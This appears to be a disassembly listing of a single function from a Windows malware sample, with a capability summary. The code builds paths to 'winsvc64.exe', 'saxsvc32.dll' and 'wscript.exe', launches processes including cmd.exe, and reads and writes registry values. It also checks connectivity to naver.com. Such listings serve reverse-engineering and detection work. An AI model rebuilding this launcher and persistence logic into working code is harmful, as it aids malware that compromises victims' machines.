Function at 0x1800015f0
Capabilities:
Check internet connectivity via wininet
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
mov r11, rsp
push rsi
push r12
sub rsp, 0x168
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rdi
mov qword [r11 - 0x18], r13
xor r13d, r13d
mov ebp, ecx
lea rcx, [rsp + 0x41]
mov esi, r13d
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x40], sil
mov r12d, r13d
call sub.MSVCR90.dll_memset
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x18000ae80]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x1800016c2
lea rcx, [0x18000ae80]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x18000ae80]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x18000ae80]
repne scasb al, byte [rdi]
movzx eax, word [0x1800073b8]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [0x18000ae80]
repne scasb al, byte [rdi]
mov rax, qword [str.winsvc64.exe]
mov qword [rdi - 1], rax
mov eax, dword [0x1800073c8]
mov dword [rdi + 7], eax
movzx eax, byte [0x1800073cc]
mov byte [rdi + 0xb], al
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x18000af90]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x180001747
lea rcx, [0x18000af90]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x18000af90]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x18000af90]
repne scasb al, byte [rdi]
movzx eax, word [0x1800073b8]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [0x18000af90]
repne scasb al, byte [rdi]
mov rax, qword [str.saxsvc32.dll]
mov qword [rdi - 1], rax
mov eax, dword [0x1800073d8]
mov dword [rdi + 7], eax
movzx eax, byte [0x1800073dc]
mov byte [rdi + 0xb], al
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x18000b0a0]
repne scasb al, byte [rdi]
not rcx
cmp rcx, 1
jne 0x1800017c2
lea rcx, [0x18000b0a0]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [0x18000b0a0]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x18000b0a0]
repne scasb al, byte [rdi]
movzx eax, word [0x1800073b8]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [0x18000b0a0]
repne scasb al, byte [rdi]
mov rax, qword [str.wscript.exe]
mov qword [rdi - 1], rax
mov eax, dword [0x1800073e8]
mov dword [rdi + 7], eax
mov ecx, dword [0x18000ae14]
mov qword [rsp + 0x180], rbx
call fcn.1800013f0
mov edi, 0x64
test eax, eax
jne 0x180001896
lea edx, [rdi - 0x63]
lea rcx, str.wscript.exe
call fcn.1800014d0
test eax, eax
jne 0x18000181e
lea r8, [0x18000b0a0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, edi
mov ecx, edi
dec ebx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.wscript.exe
mov edx, 1
call fcn.1800014d0
test eax, eax
jne 0x180001848
test ebx, ebx
jg 0x180001820
jmp 0x18000190a
mov ecx, 0x32c8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x18000ab38]
lea rax, [rsp + 0x30]
lea rdx, [0x18000a3f0]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [0x18000addc], 0x58
mov dword [rsp + 0x30], 0x58
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x18000190a
cmp ebp, 2
je 0x1800018c1
cmp ebp, 3
je 0x1800018c1
cmp ebp, 5
je 0x1800018c1
mov eax, dword [0x18000ae14]
mov ecx, 0x63
mov dword [0x18000ac9c], eax
lea r12d, [rcx - 0x62]
call fcn.180003510
jmp 0x18000190a
cmp dword [0x18000addc], esi
jne 0x18000190a
mov rcx, qword [0x18000ab38]
lea rax, [rsp + 0x30]
lea rdx, [0x18000a3f0]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [0x18000addc], 0x58
mov dword [rsp + 0x30], 0x58
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov r8d, dword [0x18000ae14]
lea r9, [0x18000af90]
lea rdx, str._d__s
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCR90.dll_sprintf]
lea r9, [rsp + 0x40]
lea r8, [0x18000ae80]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rbx, qword [rsp + 0x180]
mov ecx, 0xc8
dec edi
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x18000ab38]
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
lea rdx, [0x18000a3f0]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x34], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], r13d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [rsp + 0x30]
mov dword [0x18000addc], edx
cmp edx, 1
je 0x1800019af
test edi, edi
jg 0x180001952
jmp 0x1800019f7
mov esi, 1
test r12d, r12d
je 0x1800019f7
lea r9, [0x18000acc0]
lea r8, str.cmd.exe
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp ebp, 6
jne 0x1800019ec
lea rcx, str.Themes
call fcn.180001330
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r8d, r8d
lea rcx, str.http:__www.naver.com
lea edx, [r8 + 1]
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
mov r13, qword [rsp + 0x160]
mov rdi, qword [rsp + 0x190]
mov rbp, qword [rsp + 0x188]
test eax, eax
jne 0x180001a55
test r12d, r12d
je 0x180001a55
mov edx, dword [0x18000adc4]
inc edx
cmp edx, 5
mov dword [0x18000adc4], edx
jge 0x180001a55
mov ecx, dword [0x18000ae14]
call fcn.180001480
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180005d30
add rsp, 0x168
pop r12
pop rsi
ret